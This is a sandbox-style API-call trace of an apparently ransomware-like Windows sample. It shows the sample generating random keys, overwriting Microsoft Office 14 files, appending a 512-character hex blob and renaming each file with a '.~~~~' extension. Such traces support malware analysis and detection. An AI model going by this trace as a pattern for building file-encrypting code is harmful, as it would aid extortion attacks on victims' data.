	[0131.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0131.964] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.964] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.964] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.964] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.964] CloseHandle (hObject=0x128) returned 1
	[0131.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0131.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.~~~~")) returned 1
	[0131.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b11f0 | out: hHeap=0x300000) returned 1
	[0131.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.966] GetLastError () returned 0x0
	[0131.967] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1478) returned 1
	[0131.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.968] CryptReleaseContext (hProv=0x3a1478, dwFlags=0x0) returned 1
	[0131.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.968] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25195853570) returned 1
	[0131.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb818ef90, dwHighDateTime=0x1d60e1e)) 
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823a68
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823a68 | out: hHeap=0x300000) returned 1
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0131.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4318
	[0131.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0131.969] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.970] GetLastError () returned 0x0
	[0131.970] GetLastError () returned 0x0
	[0131.970] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.970] GetLastError () returned 0x0
	[0131.970] GetLastError () returned 0x0
	[0131.973] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.974] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0131.978] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.978] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.980] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.980] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.981] CloseHandle (hObject=0x128) returned 1
	[0131.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ab8
	[0131.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.~~~~")) returned 1
	[0131.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ab8 | out: hHeap=0x300000) returned 1
	[0131.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.983] GetLastError () returned 0x0
	[0131.984] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0131.985] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.985] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0131.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.986] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25197588221) returned 1
	[0131.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb81db250, dwHighDateTime=0x1d60e1e)) 
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd658
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd658 | out: hHeap=0x300000) returned 1
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0131.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4318
	[0131.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0131.987] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.987] GetLastError () returned 0x0
	[0131.987] GetLastError () returned 0x0
	[0131.987] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.987] GetLastError () returned 0x0
	[0131.987] GetLastError () returned 0x0
	[0131.989] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff33, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.989] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0xcd, lpOverlapped=0x0) returned 1
	[0131.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0131.991] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.991] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.991] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.992] CloseHandle (hObject=0x128) returned 1
	[0131.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4318
	[0131.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.~~~~")) returned 1
	[0131.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x300000) returned 1
	[0131.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.994] GetLastError () returned 0x0
	[0131.995] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0131.996] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.996] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0131.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.996] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25198606139) returned 1
	[0131.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb81db250, dwHighDateTime=0x1d60e1e)) 
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd620
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd620 | out: hHeap=0x300000) returned 1
	[0131.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0131.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0131.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0131.997] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.997] GetLastError () returned 0x0
	[0131.997] GetLastError () returned 0x0
	[0131.997] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.997] GetLastError () returned 0x0
	[0131.997] GetLastError () returned 0x0
	[0131.999] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.999] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0132.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0132.001] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.001] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.001] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.002] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.002] CloseHandle (hObject=0x128) returned 1
	[0132.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0132.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.~~~~")) returned 1
	[0132.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.004] GetLastError () returned 0x0
	[0132.004] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0132.005] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.006] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.006] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25199593386) returned 1
	[0132.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb82013b0, dwHighDateTime=0x1d60e1e)) 
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd5e8
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd5e8 | out: hHeap=0x300000) returned 1
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0132.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.007] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.007] GetLastError () returned 0x0
	[0132.007] GetLastError () returned 0x0
	[0132.007] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.007] GetLastError () returned 0x0
	[0132.007] GetLastError () returned 0x0
	[0132.009] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.009] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0132.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a620c0 | out: hHeap=0x300000) returned 1
	[0132.011] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.011] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.011] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.011] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.011] CloseHandle (hObject=0x128) returned 1
	[0132.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0132.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.~~~~")) returned 1
	[0132.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.014] GetLastError () returned 0x0
	[0132.015] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0132.016] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.016] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.016] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25200638619) returned 1
	[0132.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb8227510, dwHighDateTime=0x1d60e1e)) 
	[0132.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0132.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd5b0
	[0132.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd5b0 | out: hHeap=0x300000) returned 1
	[0132.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8be8
	[0132.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.017] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0132.017] GetLastError () returned 0x0
	[0132.018] GetLastError () returned 0x0
	[0132.018] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0132.018] GetLastError () returned 0x0
	[0132.018] GetLastError () returned 0x0
	[0132.021] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
